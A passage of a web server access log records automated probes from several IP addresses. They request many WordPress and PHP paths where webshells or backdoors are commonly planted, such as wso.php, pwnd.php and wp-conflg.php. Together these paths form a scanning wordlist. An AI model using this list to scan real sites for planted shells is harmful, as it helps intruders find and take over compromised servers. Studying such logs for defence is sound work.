"-" 51.11.245.223 - - [20/Apr/2026:23:24:12 +0300] "GET /wp-includes/blocks/buttons/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:24:12 +0300] "GET /class-bda.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:25:13 +0300] "GET /ktfow.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:26:41 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:28:04 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:29:33 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:29:45 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:33:02 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:33:27 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:35:36 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:35:46 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:29 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:29 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:36:32 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:37:18 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:38:16 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:38:16 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:38:31 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:38:46 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:39:01 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 51.11.245.223 - - [20/Apr/2026:23:40:18 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 45.92.1.25 - - [21/Apr/2026:00:11:11 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 144.172.110.113 - - [20/Apr/2026:23:52:21 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 45.92.1.25 - - [21/Apr/2026:00:11:11 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.25 - - [21/Apr/2026:00:11:09 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.25 - - [21/Apr/2026:00:11:08 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 51.68.236.71 - - [21/Apr/2026:00:33:33 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.236.71 - - [21/Apr/2026:00:33:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 45.92.1.25 - - [21/Apr/2026:00:11:09 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.25 - - [21/Apr/2026:00:11:10 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.25 - - [21/Apr/2026:00:11:12 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.25 - - [21/Apr/2026:00:11:10 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.92.1.25 - - [21/Apr/2026:00:11:10 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:36 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:37 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:52:38 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 